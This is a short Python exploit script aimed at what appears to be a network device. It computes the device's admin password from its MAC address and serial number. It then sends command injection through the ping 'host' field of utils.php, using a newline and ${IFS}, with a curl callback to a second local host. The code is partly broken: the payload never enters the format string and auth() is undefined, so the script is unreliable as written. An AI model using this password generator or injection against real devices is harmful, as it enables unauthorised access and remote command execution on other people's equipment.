import requests
import hashlib
import sys

def xorshift(x, y, z, w):
    t = x
    t = t ^ ((t << 11) & 0xFFFFFFFF)
    t = t ^ (t >> 8)
    x, y, z = y, z, w
    w = (w ^ (w >> 19)) ^ t
    return x, y, z, w, t

def keygen(mac, serial):
	l = 20
	password = ""
	md5a = hashlib.md5(mac).hexdigest()
	md5b = hashlib.md5(serial).hexdigest()
	w = int(md5a[0:8], 16)
	x = int(md5a[8:16], 16)
	y = int(md5a[16:24], 16)
	z = int(md5a[24:32], 16)

	for i in range(0, l):
		x, y, z, w, t = xorshift(x, y, z, w)
		password += md5b[t % 20]

	return password

def rce(username, password, host, payload):
	requests.post("http://{}/utils.php".format(host), auth=auth(username, password), data={"action": "ping", "host": "127.0.0.1\n".format(payload.replace(' ', '${IFS}'))})

def main():
	serial = sys.argv[1].encode("ascii")
	mac = sys.argv[2].encode("ascii")
	host = "192.168.77.1"
	payload = "curl 192.168.77.10:8080"
	password = keygen(mac, serial)
	print(password)
	#rce("admin", password, host, payload)
	
main()